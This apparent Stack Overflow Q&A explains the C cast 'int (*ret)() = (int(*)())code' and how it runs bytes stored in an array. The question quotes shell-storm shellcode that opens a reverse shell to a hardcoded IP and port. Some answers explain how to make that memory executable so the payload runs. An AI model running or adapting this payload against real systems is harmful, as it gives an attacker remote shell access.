What does int (*ret)() = (int(*)())code mean?

10,526

Solution 1

int(*ret)()

declares a function pointer named ret; the function takes unspecified arguments and returns an integer.

(int(*)())code

casts the code array to a function pointer of that same type.

So this converts the address of the code array to a function pointer, which then allows you to call it and execute the code.

Note that this is technically undefined behavior, so it doesn't have to work this way. But this is how practically all implementations compile this code. Shellcodes like this are not expected to be portable -- the bytes in the code array are dependent on the CPU architecture and stack frame layout.

Solution 2

You should read a good C programming book, such as Modern C. You could even read this draft C11 standard or look into this C reference website.

int (*ret)() declare a pointer to function returning an int -without specifying arguments (in C)

Then = (int(*)())code; is initializing ret with the casted address of code.

At last ret(); is calling that function pointer, hence invoking the machine code in your code array.

BTW, the compiler (and the linker) might put code in a read-only but non-executable segment (this perhaps depends upon how your program was linked). And then your shell code might not work.

I recommend enabling all warnings and debug info in your compiler. With GCC in 2020, that means compiling with gcc -Wall -Wextra -g and later use GDB.

On Linux, you might even use strace(1) or ltrace(1) to understand the behavior of your executable.

Solution 3

int (*ret)()

defines the function pointer ret as function returning an int with an unspecified number of arguments.

... = (int(*)())code;

casts the unsigned char-array code to the type of function ret would refer to and assigns it to ret.

This call

ret();

then executes the op-codes stored in code.

All in all not a nice thing.

Solution 4

int (*)() is the type of a pointer to a function with the following prototype:

int func();

Because of the way the language is parsed and the precedence of the operators, one has to put the asterisk in brackets. Also when declaring a pointer variable of that type, the name of the variable goes after the asterisk and not after the type, e.g. it is not

int (*)() ret;

but rather

int (*ret)();

In your case the ret variable is both being declared and initialised with a type cast involved.

To call a function through a function pointer, you could either use the more elaborate syntax:

(*ret)();

or the more simple one:

ret();

Using the former syntax is preferable since it gives indication to the reader of your code that ret is actually a pointer to a function and not the function itself.

Now, in principle that code should not actually work. The code[] array is placed in the initialised data segment, which in most modern OSes is not executable, i.e. the call ret(); should rather produce a segmentation fault. E.g. GCC on Linux places the code variable in the .data section:

.globl code
    .data
    .align 32
    .type   code, @object
    .size   code, 93
code:
    .string "1\3001\3331...\200"

and then the .data section goes into a non-executable read-write segment:

$ readelf --segments code.exe

Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001c0 0x00000000000001c0  R E    8
  INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000000064c 0x000000000000064c  R E    100000
  vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
  LOAD           0x0000000000000650 0x0000000000500650 0x0000000000500650
                 0x0000000000000270 0x0000000000000278  RW     100000
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  DYNAMIC        0x0000000000000678 0x0000000000500678 0x0000000000500678
                 0x0000000000000190 0x0000000000000190  RW     8
  NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
                 0x0000000000000020 0x0000000000000020  R      4
  GNU_EH_FRAME   0x0000000000000594 0x0000000000400594 0x0000000000400594
                 0x0000000000000024 0x0000000000000024  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
          .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
          .rodata .eh_frame_hdr .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   04     .dynamic
   05     .note.ABI-tag
   06     .eh_frame_hdr
   07     

The segment is missing the executable flag, i.e. it is only RW and not RWE, therefore no code could be executed from that memory. And indeed, running the program results in a fault at the very first instruction stored in code:

(gdb) run
Starting program: /tmp/code.exe 
Shellcode Length: 92

Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1  0x00000000004004a7 in main () at code.c:27
27     ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>

To make it work, you could use a combination of posix_memalign and mprotect to allocate a memory page and make it executable, then copy the content of code[] there:

// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>

size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();

printf("Shellcode Length: %d\n", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();

Also note that the shell code uses int 0x80 to call into the Linux kernel. This won't work out-of-the-box if the program is compiled on a 64-bit Linux system as there a different mechanism is used to make system calls. -m32 should be specified in that case to force the compiler generate a 32-bit executable.

Solution 5

int (*ret)() = (int(*)())code;

int (*ret)() defines a pointer that points to a function which returns int and has unspecified number of arguments; (int(*)())code is a type casting, let the other part could treat code as a function pointer, the same type as ret.

By the way, depends on the contents of code, this code may only works on a specific CPU and OS combination, if it even works and all.

Share:
10,526
user2579274
Author by

user2579274

Updated on June 05, 2022

Comments

  • user2579274
    user2579274 about 2 years

    Here is a copy of code from shellstorm:

    #include <stdio.h>
    /*
    ipaddr 192.168.1.10 (c0a8010a)
    port 31337 (7a69) 
    */
    #define IPADDR "\xc0\xa8\x01\x0a"
    #define PORT "\x7a\x69"
    
    unsigned char code[] =
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
    "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
    "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
    IPADDR"\x66\x68"PORT"\x66\x53\xfe"
    "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
    "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
    "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
    "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
    "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
    "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
    "\x80";
    
    main() 
    {
     printf("Shellcode Length: %d\n", sizeof(code)-1);
     int (*ret)() = (int(*)())code;
     ret();
    }
    

    Could anyone help me explain this one "int (ret)() = (int()())code;" ? How does it work? Why it can make the code above run?

  • ajay
    ajay over 10 years
    +1 for mentioning unspecified number and type of arguments. Many people erroneously think that int func(void) and int func() are the same. They are in C++ but not in C.
  • alk
    alk over 10 years
    1+ for the essential BTW.
  • ajay
    ajay over 10 years
    typecasting the function pointer is redundant here because if code has a different signature then it will cause undefined behaviour.
  • ajay
    ajay over 10 years
    Also casting array to a function pointer is undefined behaviour. Don't know how I missed it.
  • Barmar
    Barmar over 10 years
    I've added a comment about portability to the answer.
  • golem
    golem almost 9 years
    +1 for explaining the bracket mess in the first part of the answer. Regarding the second part. Another way for making code[] array executable is to compile the source file with -fno-stack-protector -z execstack flags passed to GCC.
  • LFMekz
    LFMekz over 3 years
    very nice detail here for ummies like myself. esp appreciate the including of explicit void and the tidbit about function names evaluating to pointers in certain cases